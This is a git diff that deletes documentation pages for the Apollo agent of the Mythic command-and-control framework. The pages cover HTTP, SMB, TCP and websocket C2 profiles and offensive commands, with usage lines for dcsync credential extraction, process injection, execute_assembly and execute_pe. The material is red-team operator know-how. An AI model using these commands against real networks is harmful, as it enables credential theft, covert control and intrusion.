-+++ -title = "HTTP" -chapter = false -weight = 102 -+++ - -## Summary -Basic profile to send and receive taskings from Mythic over the hyper text transfer protocol. - -### Profile Options - -#### GET Requests - -Currently the agent does not support any parameters in regards to GET parameters. - -#### Callback Host -The URL for the redirector or Mythic server. This must include the protocol to use (e.g. `http://` or `https://`). - -#### Callback Interval in seconds -Time to sleep between agent check-in. - -#### Callback Jitter in percent -Randomize the callback interval within the specified threshold. e.g., if Callback Interval is 10, and jitter is 20, Apollo will call back randomly along the interval 8 and 12 seconds. - -#### Callback Port -The port at which the web server Apollo reaches out to lives on (80, 443, etc.) - -#### Crypto type -Do not modify from aes256_hmac - -#### GET request URI -The path on the web server Apollo will talk to - -#### HTTP Headers -A dictionary of key-value pairs Apollo will attempt to use in web requests. Of note, Domain Fronting does not work in this profile configuration due to the .NET object used to create web requests. - -#### Kill Date -The date at which the agent will stop calling back. - -#### Name of the query parameter for GET requests -The included URL parameter, if any, used in GET requests - -#### Performs Key Exchange -Perform encrypted key exchange with Mythic on check-in. Recommended to keep as T for true. - -#### Proxy Host -If specified, must be of the same format as the Callback Host (e.g., `http://proxy.gateway`) - -#### Proxy Password -The password used to authenticate to Proxy Host. - -#### Proxy Port -The port at which Proxy Host is served. - -#### Proxy Username -The username used to authenticate to the Proxy Host. \ No newline at end of file diff --git a/documentation-payload/apollo/c2_profiles/SMB.md b/documentation-payload/apollo/c2_profiles/SMB.md deleted file mode 100644 index 0af03c53..00000000 --- a/documentation-payload/apollo/c2_profiles/SMB.md +++ /dev/null @@ -1,44 +0,0 @@ -+++ -title = "SMB" -chapter = false -weight = 102 -+++ - -## Summary -Peer-to-peer communication over a named pipe. This enables C2 traffic to traverse over SMB within an internal network before egressing traffic through an HTTP Apollo agent to the Mythic server. - -Install via: -``` -mythic-cli install github https://github.com/MythicC2Profiles/smb.git -``` - -### C2 Workflow -{{}} -sequenceDiagram - participant Mythic - participant Egress Agent - participant P2P Agent - Egress Agent->>Mythic: POST to receive taskings from server - Mythic-->>Egress Agent: send taskings in server response - Egress Agent->>P2P Agent: send taskings over Named Pipe - P2P Agent->>Egress Agent: send task response over Named Pipe - Egress Agent->>Mythic: POST task response to server - Mythic-->>Egress Agent: send task status in server response - Egress Agent->>P2P Agent: send server response over Named Pipe -{{< /mermaid >}} - -### Profile Options -The SMB C2 profile is designed to be used for internal network communication, and therefore will need to egress from a network through an agent using the HTTP C2 profile. All HTTP agents have the ability to communicate with SMB agents and manage peer-to-peer connections using the `link` and `unlink` commands. - -### Profile Options -#### Crypto type -Leave as aes256_hmac. - -#### Named Pipe -The name of the created name pipe to use for agent communication. Recommended to use the randomly generated UUID provided. - -#### Kill Date -The date at which the agent will stop calling back. - -#### Perform Key Exchange -Perform encrypted key exchange with Mythic. Recommended to leave as T for true. \ No newline at end of file diff --git a/documentation-payload/apollo/c2_profiles/TCP.md b/documentation-payload/apollo/c2_profiles/TCP.md deleted file mode 100644 index b411276d..00000000 --- a/documentation-payload/apollo/c2_profiles/TCP.md +++ /dev/null @@ -1,39 +0,0 @@ -+++ -title = "TCP" -chapter = false -weight = 102 -+++ - -## Summary -Peer-to-peer communication over a network socket. Apollo will bind to a specified port and await an incoming link request before establishing communications back to Mythic. - -### C2 Workflow -{{}} -sequenceDiagram - participant Mythic - participant Egress Agent - participant P2P Agent - Egress Agent->>Mythic: POST to receive taskings from server - Mythic-->>Egress Agent: send taskings in server response - Egress Agent->>P2P Agent: send taskings over Named Pipe - P2P Agent->>Egress Agent: send task response over Named Pipe - Egress Agent->>Mythic: POST task response to server - Mythic-->>Egress Agent: send task status in server response - Egress Agent->>P2P Agent: send server response over Named Pipe -{{< /mermaid >}} - -### Profile Options -The TCP C2 profile is designed to be used for internal network communication, and therefore will need to egress from a network through an agent using the HTTP C2 profile. All HTTP agents have the ability to communicate with TCP agents and manage peer-to-peer connections using the `link` and `unlink` commands. - -### Profile Options -#### Crypto type -Leave as aes256_hmac. - -#### Port to start Apollo on -Self explanatory. Note: If medium integrity or lower, this will prompt a request to allow the binary to bind on the specified port. - -#### Kill Date -The date at which the agent will stop calling back. - -#### Perform Key Exchange -Perform encrypted key exchange with Mythic. Recommended to leave as T for true. \ No newline at end of file diff --git a/documentation-payload/apollo/c2_profiles/_index.md b/documentation-payload/apollo/c2_profiles/_index.md deleted file mode 100644 index 8b727128..00000000 --- a/documentation-payload/apollo/c2_profiles/_index.md +++ /dev/null @@ -1,10 +0,0 @@ -+++ -title = "C2 Profiles" -chapter = true -weight = 20 -pre = "3. " -+++ - -# Available C2 Profiles - -{{% children %}} \ No newline at end of file diff --git a/documentation-payload/apollo/c2_profiles/websocket.md b/documentation-payload/apollo/c2_profiles/websocket.md deleted file mode 100644 index 9f89fc3d..00000000 --- a/documentation-payload/apollo/c2_profiles/websocket.md +++ /dev/null @@ -1,44 +0,0 @@ -+++ -title = "websocket" -chapter = false -weight = 102 -+++ - -## Summary -The `Apollo` agent can use websockets to support getting tasks and returning task data. The profile supports both `Poll`and `Push` tasking types. System proxies are supported. - -### Profile Options - -#### Tasking type - -Choose between Poll (periodic check-ins like HTTPS profiles) or Push tasking types. Push is recommended. - -#### Callback Host -The URL for websocket redirector or Mythic server. This must include the protocol to use (e.g. `ws://` or `wss://`). - -#### Callback Interval in seconds -Time to sleep between agent check-in, only relevant for the `Poll` tasking type. - -#### Callback Jitter in percent -Randomize the callback interval within the specified threshold. e.g., if Callback Interval is 10, and jitter is 20, Apollo will call back randomly along the interval 8 and 12 seconds. Only relevant for the `Poll` tasking type. - -#### Callback Port -The port at which the web server Apollo reaches out to lives on (80, 443, etc.) - -#### Crypto type -Do not modify from aes256_hmac. - -#### Host header -The Host header for the initial HTTP request, can be used to support domain fronting. - -#### Kill Date -The date at which the agent will stop calling back. - -#### Performs Key Exchange -Perform encrypted key exchange with Mythic on check-in. Recommended to keep as T for true. - -#### User Agent -Provide a custom user agent used in the initial HTTP request in order to set up the websocket. - -#### Websockets Endpoint -The endpoint used for the initial upgrading of the HTTP connection to websockets. \ No newline at end of file diff --git a/documentation-payload/apollo/commands/_index.md b/documentation-payload/apollo/commands/_index.md deleted file mode 100644 index 29debf97..00000000 --- a/documentation-payload/apollo/commands/_index.md +++ /dev/null @@ -1,84 +0,0 @@ -+++ -title = "Commands" -chapter = true -weight = 15 -pre = "2. " -+++ - -![logo](/agents/apollo/ApolloLandscape.svg?width=600px) - -## Table of Contents - -- Lateral Movement - * [link](/agents/apollo/commands/link/) - * [unlink](/agents/apollo/commands/unlink/) -- Credential/Token Commands - * [whoami](/agents/apollo/commands/whoami/) - * [rev2self](/agents/apollo/commands/rev2self/) - * [getprivs](/agents/apollo/commands/getprivs/) - * [make_token](/agents/apollo/commands/make_token/) - * [steal_token](/agents/apollo/commands/steal_token/) - * [mimikatz](/agents/apollo/commands/mimikatz/) - * [pth](/agents/apollo/commands/pth/) - * [dcsync](/agents/apollo/commands/dcsync/) -- User Exploitation - * [keylog_inject](/agents/apollo/commands/keylog_inject/) - * [screenshot_inject](/agents/apollo/commands/screenshot_inject/) - * [screenshot](/agents/apollo/commands/screenshot/) -- .NET Assembly Commands - * [inline_assembly](/agents/apollo/commands/inline_assembly/) - * [execute_assembly](/agents/apollo/commands/execute_assembly/) - * [assembly_inject](/agents/apollo/commands/assembly_inject/) - * [register_assembly](/agents/apollo/commands/register_assembly/) -- PowerShell Commands - * [powershell](/agents/apollo/commands/powershell/) - * [psinject](/agents/apollo/commands/psinject/) - * [powerpick](/agents/apollo/commands/powerpick/) - * [powershell_import](/agents/apollo/commands/powershell_import/) -- File Operations - * [upload](/agents/apollo/commands/upload/) - * [download](/agents/apollo/commands/download/) - * [rm](/agents/apollo/commands/rm/) - * [mkdir](/agents/apollo/commands/mkdir/) - * [cp](/agents/apollo/commands/cp/) - * [cat](/agents/apollo/commands/cat/) - * [mv](/agents/apollo/commands/mv/) - * [ls](/agents/apollo/commands/ls/) - * [pwd](/agents/apollo/commands/pwd/) - * [cd](/agents/apollo/commands/cd/) -- Job Management - * [jobs](/agents/apollo/commands/jobs/) - * [jobkill](/agents/apollo/commands/jobkill/) -- Net Enumeration - * [net_dclist](/agents/apollo/commands/net_dclist/) - * [net_localgroup_member](/agents/apollo/commands/net_localgroup_member/) - * [net_localgroup](/agents/apollo/commands/net_localgroup/) - * [net_shares](/agents/apollo/commands/net_shares/) -- Process Management - * [shell](/agents/apollo/commands/shell/) - * [run](/agents/apollo/commands/run/) - * [kill](/agents/apollo/commands/kill/) - * [ps](/agents/apollo/commands/ps/) -- Registry Management - * [reg_query](/agents/apollo/commands/reg_query/) - * [reg_write_value](/agents/apollo/commands/reg_write_value/) -- Evasion Management - * [blockdlls](/agents/apollo/commands/blockdlls) - * [ppid](/agents/apollo/commands/ppid) - * [spawnto_x64](/agents/apollo/commands/spawnto_x64/) - * [spawnto_x86](/agents/apollo/commands/spawnto_x86/) - * [get_injection_techniques](/agents/apollo/commands/get_injection_techniques/) - * [set_injection_technique](/agents/apollo/commands/set_injection_technique/) -- Session Management - * [spawn](/agents/apollo/commands/spawn/) - * [inject](/agents/apollo/commands/inject/) - * [exit](/agents/apollo/commands/exit/) - * [sleep](/agents/apollo/commands/sleep/) -- Host Enumeration - * [ifconfig](/agents/apollo/commands/ifconfig) - * [netstat](/agents/apollo/commands/netstat) -- Miscellaneous - * [printspoofer](/agents/apollo/commands/printspoofer/) - * [shinject](/agents/apollo/commands/shinject/) - * [socks](/agents/apollo/commands/socks/) - * [execute_pe](/agents/apollo/commands/execute_pe/) diff --git a/documentation-payload/apollo/commands/assembly_inject.md b/documentation-payload/apollo/commands/assembly_inject.md deleted file mode 100644 index 35f6c9fa..00000000 --- a/documentation-payload/apollo/commands/assembly_inject.md +++ /dev/null @@ -1,40 +0,0 @@ -+++ -title = "assembly_inject" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Inject -{{% /notice %}} - -## Summary - -Inject the .NET assembly loader into a remote process and execute an assembly registered with `register_file`. This assembly is injected into the remote process using the injection technique currently specified by `get_injection_techniques`. - -### Arguments (Positional or Popup) - -![args](../images/assembly_inject.png) - -#### Arguments -Any arguments to be executed with the assembly. - -#### Assembly -Name used when registering assembly with the `register_file` command (e.g., `Seatbelt.exe`) - -#### PID -Process ID to inject into. - -## Usage -``` -assembly_inject -PID 7344 -Assembly Seatbelt.exe -Arguments DotNet -``` - -Example - -![ex](../images/assembly_inject_resp.png) - -## MITRE ATT&CK Mapping - -- T1055 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/blockdlls.md b/documentation-payload/apollo/commands/blockdlls.md deleted file mode 100644 index d801bfa5..00000000 --- a/documentation-payload/apollo/commands/blockdlls.md +++ /dev/null @@ -1,15 +0,0 @@ -+++ -title = "blockdlls" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Prevent non-Microsoft signed DLLs from loading into post-exploitation jobs. - -## Usage -``` -blockdlls -blockdlls -EnableBlock [true|false] -``` \ No newline at end of file diff --git a/documentation-payload/apollo/commands/cat.md b/documentation-payload/apollo/commands/cat.md deleted file mode 100644 index 8a332c41..00000000 --- a/documentation-payload/apollo/commands/cat.md +++ /dev/null @@ -1,34 +0,0 @@ -+++ -title = "cat" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: File Open -{{% /notice %}} - -## Summary - -Read the contents of a file 256kb at a time. - -### Arguments -![args](../images/cat.png) -#### Path -Specify path to file to read contents - -## Usage -``` -cat -Path [path] -``` -Example -``` -cat -Path C:\config.txt -cat C:\config.txt -``` - -## MITRE ATT&CK Mapping - -- T1081 -- T1106 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/cd.md b/documentation-payload/apollo/commands/cd.md deleted file mode 100644 index 981363c0..00000000 --- a/documentation-payload/apollo/commands/cd.md +++ /dev/null @@ -1,42 +0,0 @@ -+++ -title = "cd" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Change the process's current working directory to a specified directory. This command accepts relative paths such as `..\` as well. - -## Arguments - -![args](../images/cd.png) - -### Path -Change to the directory specified by path. - -## Usage -``` -cd -Path [path] -cd [path] -``` -Example -``` -cd -Path C:\Users -``` -Change to the root directory. -``` -cd C:\ -``` -Change to the previous level directory. -``` -cd .. -``` -Change to a directory with spaces in name. -``` -cd C:\Program Files -``` - -## MITRE ATT&CK Mapping - -- T1083 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/cp.md b/documentation-payload/apollo/commands/cp.md deleted file mode 100644 index a9ef9528..00000000 --- a/documentation-payload/apollo/commands/cp.md +++ /dev/null @@ -1,38 +0,0 @@ -+++ -title = "cp" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -### Artifacts -- File Open -- File Write -{{% /notice %}} - -## Summary -Copy a specified file to another location. - -### Arguments - -![args](../images/cp.png) - -#### Path -The path to the original file that will be copied and placed in the location specified by `Destination`. - -#### Destination -The path to copy a file too. - -## Usage -``` -cp -Path [source] -Destination [destination] -``` -Example -``` -cp -Path test1.txt -Destination "C:\Program Files\test2.txt" -``` - -## MITRE ATT&CK Mapping - -- T1570 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/dcsync.md b/documentation-payload/apollo/commands/dcsync.md deleted file mode 100644 index ef4a9eab..00000000 --- a/documentation-payload/apollo/commands/dcsync.md +++ /dev/null @@ -1,42 +0,0 @@ -+++ -title = "dcsync" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Create, Process Inject, Process Kill -{{% /notice %}} - -## Summary -Use mimikatz's `lsadump::dcsync` module to retrieve a user's kerberos keys from a Domain Controller. - -### Arguments -#### Domain -Domain to query information from. - -#### User (Optional) -Username to sync kerberos keys for. Default is all users. - -#### DC (Optional) -Domain controller to sync credential material from. - -## Usage -``` -dcsync -Domain domain.local [-User username -DC dc.domain.local] -``` - -Example -``` -dcsync -Domain contoso.local -User djhohnstein -DC 10.120.30.204 -dcsync -Domain contoso.local -``` - - -## MITRE ATT&CK Mapping - -- T1003.006 - -### Resrouces -- [mimikatz](https://github.com/gentilkiwi/mimikatz) diff --git a/documentation-payload/apollo/commands/download.md b/documentation-payload/apollo/commands/download.md deleted file mode 100644 index 5589b386..00000000 --- a/documentation-payload/apollo/commands/download.md +++ /dev/null @@ -1,46 +0,0 @@ -+++ -title = "download" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: File Open -{{% /notice %}} - -## Summary -Download a specified file from the agent's host to the Mythic server. - -### Arguments (Positional) -#### Path - -Path to the file to download. - -#### Host (optional) - -Host to download the file from. Default: localhost. - -## Usage -``` -download -Path [path to file] [-Host [127.0.0.1]] -``` -Example -``` -download -Path C:\Users\user\Downloads\test.txt - -download -Path C:\Users\user\Downloads\test.txt -Host 127.0.0.1 - -From the file browser, Actions -> Task a Download -``` - -When the download completes, clicking the link will automatically download the file to your Downloads folder. - -![download2](../images/download02.png) - - -## MITRE ATT&CK Mapping - -- T1020 -- T1030 -- T1041 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/execute_assembly.md b/documentation-payload/apollo/commands/execute_assembly.md deleted file mode 100644 index 13e03941..00000000 --- a/documentation-payload/apollo/commands/execute_assembly.md +++ /dev/null @@ -1,48 +0,0 @@ -+++ -title = "execute_assembly" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Create, Process Inject, Process Kill -{{% /notice %}} - -## Summary - -Execute a .NET Framework assembly with the specified arguments. This assembly must first be cached in the agent using the `register_assembly` command before being executed. - -### Arguments - -![exeasm](../images/execute_assembly.png) - -#### Assembly -The name of the assembly to execute. This must match the file name used with `register_file`. - -#### Arguments (optional) -Arguments to pass to the assembly. - -## Usage -``` -execute_assembly -Assembly [assembly_name] -Arguments [arguments] -execute_assembly [assembly_name] [arguments] -``` - -Example -``` -execute_assembly SeatBelt.exe --groups=all -``` - - -## MITRE ATT&CK Mapping - -- T1547 - -## Detailed Summary -The `execute_assembly` command uses a .NET Common Language Runtime loader to execute assemblies within a sacrificial process and return output over a named pipe back to the agent. This loader is injected into a sacrificial process (specified by the `spawnto_*` commands) and passes the assembly's bytes over a named pipe, which is then loaded reflectively using `System.Reflection.Assembly.Load`. This assembly is then invoked and passed any passed arguments while streaming data over the named pipe. - -This creates a new artifact relating to the sacrificial process spawned, which can be viewed in the artifacts page. - -### Resources -- [DotNetReflectiveLoading](https://github.com/ambray/DotNetReflectiveLoading) diff --git a/documentation-payload/apollo/commands/execute_coff.md b/documentation-payload/apollo/commands/execute_coff.md deleted file mode 100644 index c864a42d..00000000 --- a/documentation-payload/apollo/commands/execute_coff.md +++ /dev/null @@ -1,53 +0,0 @@ -+++ -title = "execute_coff" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary - -Execute a Beacon Object File (BOF) with the specified arguments. This object file must first be cached in the agent using the `register_coff` command before being executed. -The `RunOF.dll` ia now automatically obtained from mythic if Apollo does not have it loaded in its file store already. - -### Arguments - -![execoff](../images/execute_coff.png) - -#### Object File -The name of the object file to execute. This must match the file name used with `register_file` or `register_coff`. - -#### Function -Function of the object file to call, usually 'go'. - -#### TimeOut -Maximum time (in seconds) that the object file should run. - -#### Arguments (optional) -Arguments to pass to the function, using the following format: - --s:123 or int16:123 --i:123 or int32:123 --z:hello or string:hello --Z:hello or wchar:hello --b:abc== or base64:abc== - -## Usage -``` -execute_coff -Coff [coff_name] -Function [go] -Timeout [30] [-Arguments [arguments]] -``` - -Example -``` -execute_coff -Coff dir.x64.o -Function go -Timeout 30 -Arguments wchar:C:\\ -``` - -## MITRE ATT&CK Mapping - -- T1027 - -## Detailed Summary -The `execute_coff` command uses a Object File loader to execute object files within a new thread and returning output back to the agent using the implementation of Beacon functions. - -### Resources -- [RunOF](https://github.com/nettitude/RunOF) diff --git a/documentation-payload/apollo/commands/execute_pe.md b/documentation-payload/apollo/commands/execute_pe.md deleted file mode 100644 index fbdd5d2f..00000000 --- a/documentation-payload/apollo/commands/execute_pe.md +++ /dev/null @@ -1,49 +0,0 @@ -+++ -title = "execute_pe" -chapter = false -weight = 103 -hidden = false -+++ - -{{% notice info %}} -Artifacts Generated: Process Create, Process Inject, Process Kill -{{% /notice %}} - -## Summary - -Execute a statically compiled PE file (e.g., compiled with /MT) with the specified arguments. This PE must first be cached in the agent using the `register_file` command before being executed. - -{{% notice info %}} -Executables must be compiled for the architecture of the machine. e.g., if Apollo is running on a 64-bit machine, compile the executable for x64. -{{% /notice %}} - -This is based on the work put forward by Nettitude's [RunPE](https://github.com/nettitude/RunPE) project with modifications. - -### Arguments -![exepe](../images/execute_pe.png) - -#### PE -The name of the assembly to execute. This must match the file name used with `register_file`. - -#### Arguments (optional) -Arguments to pass to the assembly. - -## Usage -``` -execute_pe -PE [pe_name] -Arguments [arguments] -execute_pe [pe_name] [arguments] -``` - -Example -``` -execute_pe -PE SpoolSample.exe -Arguments "127.0.0.1 127.0.0.1" -execute_pe SpoolSample.exe 127.0.0.1 127.0.0.1 -``` - - -## MITRE ATT&CK Mapping - -- T1547 - -### Resources -- [RunPE](https://github.com/nettitude/RunPE) diff --git a/documentation-payload/apollo/commands/exit.md b/documentation-payload/apollo/commands/exit.md deleted file mode 100644 index 0bd51517..00000000 --- a/documentation-payload/apollo/commands/exit.md +++ /dev/null @@ -1,17 +0,0 @@ -+++ -title = "exit" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Task an agent to exit. - -## Usage -``` -exit -``` - -## Detailed Summary -The `exit` command uses the `Environment.Exit` method to exit the agent's running process. diff --git a/documentation-payload/apollo/commands/get_injection_techniques.md b/documentation-payload/apollo/commands/get_injection_techniques.md deleted file mode 100644 index ba642676..00000000 --- a/documentation-payload/apollo/commands/get_injection_techniques.md +++ /dev/null @@ -1,33 +0,0 @@ -+++ -title = "get_injection_techniques" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Retrieve a list of available injection techniques the agent can use. - -## Usage -``` -get_injection_techniques -``` - -## Detailed Summary -The `get_injection_techniques` command displays the various process injection techniques the agent is capable of using for post-exploitation jobs. You can see the current technique being used by an agent with the [`get_injection_techniques`](/agents/apollo/commands/get_injection_techniques/) command. The technique can also be changed using the [`set_injection_technique`](/agents/apollo/commands/set_injection_technique/) command. - -You are encouraged to create your own injection technique and submit a new pull request! - -### Available techniques - -#### CreateRemoteThread -"Classic" process injection technique that uses the `VirtualAllocEx`, `WriteProcessMemory` and `CreateRemoteThread` Windows APIs to execute shellcode in a specified process. - -#### Early-Bird QueueUserAPC -Works for all jobs spawning sacrificial processes, but mileage may vary for injection-type commands. Calls `VirtualAllocEx`, `WriteProcessMemory`, `QueueUserAPC` and `ResumeThread` calls. - -#### NtCreateThreadEx -Leverages syscalls from the NTDLL library to directly invoke shellcode associated with `NtOpenProcess`, `NtClose`, `NtDuplicateObject`, `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtWriteVirtualMemory`, and `NtCreateThreadEx` - - -![get_injection_techniques](../images/get_injection_techniques.png) \ No newline at end of file diff --git a/documentation-payload/apollo/commands/getprivs.md b/documentation-payload/apollo/commands/getprivs.md deleted file mode 100644 index a447315a..00000000 --- a/documentation-payload/apollo/commands/getprivs.md +++ /dev/null @@ -1,21 +0,0 @@ -+++ -title = "getprivs" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Enable as many privileges as possible for your current access token. - -## Usage -``` -getprivs -``` - -## MITRE ATT&CK Mapping - -- T1078 - -## Detailed Summary -The `getprivs` command uses the `AdjustTokenPrivileges` Windows API to enable all privileges assigned to the current thread's token. \ No newline at end of file diff --git a/documentation-payload/apollo/commands/ifconfig.md b/documentation-payload/apollo/commands/ifconfig.md deleted file mode 100755 index 6aeb2f1d..00000000 --- a/documentation-payload/apollo/commands/ifconfig.md +++ /dev/null @@ -1,19 +0,0 @@ -+++ -title = "ifconfig" -chapter = false -weight = 103 -hidden = false -+++ - -## Summary -Retrieve network interface information. - -## Usage -``` -ifconfig -``` - - -## MITRE ATT&CK Mapping - -- T1590.005 \ No newline at end of file diff --git a/documentation-payload/apollo/commands/images/_index.md b/documentation-payload/apollo/commands/images/_index.md deleted file mode 100644 index e69de29b..00000000 diff --git a/documentation-payload/apollo/commands/images/artifacts.png b/documentation-payload/apollo/commands/images/artifacts.png deleted file mode 100644 index c957be5c..00000000 Binary files a/documentation-payload/apollo/commands/images/artifacts.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/assembly_inject.png b/documentation-payload/apollo/commands/images/assembly_inject.png deleted file mode 100644 index 52ccb9e8..00000000 Binary files a/documentation-payload/apollo/commands/images/assembly_inject.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/assembly_inject02.png b/documentation-payload/apollo/commands/images/assembly_inject02.png deleted file mode 100644 index 4e43e9fa..00000000 Binary files a/documentation-payload/apollo/commands/images/assembly_inject02.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/assembly_inject_resp.png b/documentation-payload/apollo/commands/images/assembly_inject_resp.png deleted file mode 100644 index 2630959f..00000000 Binary files a/documentation-payload/apollo/commands/images/assembly_inject_resp.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/cat.png b/documentation-payload/apollo/commands/images/cat.png deleted file mode 100644 index d3bb8914..00000000 Binary files a/documentation-payload/apollo/commands/images/cat.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/cd.png b/documentation-payload/apollo/commands/images/cd.png deleted file mode 100644 index 1f983d33..00000000 Binary files a/documentation-payload/apollo/commands/images/cd.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/cp.png b/documentation-payload/apollo/commands/images/cp.png deleted file mode 100644 index b53c728d..00000000 Binary files a/documentation-payload/apollo/commands/images/cp.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/cp01.png b/documentation-payload/apollo/commands/images/cp01.png deleted file mode 100644 index 69fced64..00000000 Binary files a/documentation-payload/apollo/commands/images/cp01.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/download.png b/documentation-payload/apollo/commands/images/download.png deleted file mode 100644 index 8c24114f..00000000 Binary files a/documentation-payload/apollo/commands/images/download.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/download01.png b/documentation-payload/apollo/commands/images/download01.png deleted file mode 100644 index 2f258b64..00000000 Binary files a/documentation-payload/apollo/commands/images/download01.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/download02.png b/documentation-payload/apollo/commands/images/download02.png deleted file mode 100644 index 73ea4d20..00000000 Binary files a/documentation-payload/apollo/commands/images/download02.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/execute_assembly.png b/documentation-payload/apollo/commands/images/execute_assembly.png deleted file mode 100644 index f4e935c9..00000000 Binary files a/documentation-payload/apollo/commands/images/execute_assembly.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/execute_pe.png b/documentation-payload/apollo/commands/images/execute_pe.png deleted file mode 100644 index c465e00a..00000000 Binary files a/documentation-payload/apollo/commands/images/execute_pe.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/filebrowser.png b/documentation-payload/apollo/commands/images/filebrowser.png deleted file mode 100644 index d94b8e85..00000000 Binary files a/documentation-payload/apollo/commands/images/filebrowser.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/get_injection_techniques.png b/documentation-payload/apollo/commands/images/get_injection_techniques.png deleted file mode 100644 index 9e02ed19..00000000 Binary files a/documentation-payload/apollo/commands/images/get_injection_techniques.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/inject.png b/documentation-payload/apollo/commands/images/inject.png deleted file mode 100644 index c7ad4be8..00000000 Binary files a/documentation-payload/apollo/commands/images/inject.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/inline_assembly.png b/documentation-payload/apollo/commands/images/inline_assembly.png deleted file mode 100644 index 40a0f682..00000000 Binary files a/documentation-payload/apollo/commands/images/inline_assembly.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/jobs.png b/documentation-payload/apollo/commands/images/jobs.png deleted file mode 100644 index d2443443..00000000 Binary files a/documentation-payload/apollo/commands/images/jobs.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/keylog01.png b/documentation-payload/apollo/commands/images/keylog01.png deleted file mode 100644 index 6ad215a4..00000000 Binary files a/documentation-payload/apollo/commands/images/keylog01.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/keylog_inject.png b/documentation-payload/apollo/commands/images/keylog_inject.png deleted file mode 100644 index 2774d2b3..00000000 Binary files a/documentation-payload/apollo/commands/images/keylog_inject.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/kill.png b/documentation-payload/apollo/commands/images/kill.png deleted file mode 100644 index f690ba9b..00000000 Binary files a/documentation-payload/apollo/commands/images/kill.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/link.png b/documentation-payload/apollo/commands/images/link.png deleted file mode 100644 index aa711dfe..00000000 Binary files a/documentation-payload/apollo/commands/images/link.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/load.png b/documentation-payload/apollo/commands/images/load.png deleted file mode 100644 index 9e77dbe1..00000000 Binary files a/documentation-payload/apollo/commands/images/load.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/ls01.png b/documentation-payload/apollo/commands/images/ls01.png deleted file mode 100644 index b2b5419f..00000000 Binary files a/documentation-payload/apollo/commands/images/ls01.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/ls02.png b/documentation-payload/apollo/commands/images/ls02.png deleted file mode 100644 index 6b32df2f..00000000 Binary files a/documentation-payload/apollo/commands/images/ls02.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/make_token.png b/documentation-payload/apollo/commands/images/make_token.png deleted file mode 100644 index 37658f52..00000000 Binary files a/documentation-payload/apollo/commands/images/make_token.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/mimikatz.png b/documentation-payload/apollo/commands/images/mimikatz.png deleted file mode 100644 index 7c69b2c7..00000000 Binary files a/documentation-payload/apollo/commands/images/mimikatz.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/mkdir.png b/documentation-payload/apollo/commands/images/mkdir.png deleted file mode 100644 index 51d9ab01..00000000 Binary files a/documentation-payload/apollo/commands/images/mkdir.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/mv.png b/documentation-payload/apollo/commands/images/mv.png deleted file mode 100644 index 956a7e41..00000000 Binary files a/documentation-payload/apollo/commands/images/mv.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/net_dclist.png b/documentation-payload/apollo/commands/images/net_dclist.png deleted file mode 100644 index fdb9afaa..00000000 Binary files a/documentation-payload/apollo/commands/images/net_dclist.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/net_localgroup.png b/documentation-payload/apollo/commands/images/net_localgroup.png deleted file mode 100644 index 7e5eda53..00000000 Binary files a/documentation-payload/apollo/commands/images/net_localgroup.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/net_localgroup_member.png b/documentation-payload/apollo/commands/images/net_localgroup_member.png deleted file mode 100644 index 13af2927..00000000 Binary files a/documentation-payload/apollo/commands/images/net_localgroup_member.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/net_shares.png b/documentation-payload/apollo/commands/images/net_shares.png deleted file mode 100644 index 494b876a..00000000 Binary files a/documentation-payload/apollo/commands/images/net_shares.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/powerpick.png b/documentation-payload/apollo/commands/images/powerpick.png deleted file mode 100644 index ef8514fd..00000000 Binary files a/documentation-payload/apollo/commands/images/powerpick.png and /dev/null differ diff --git a/documentation-payload/apollo/commands/images/powerpick01.png b/documentation-payload/apollo/commands/images/powerpick01.png 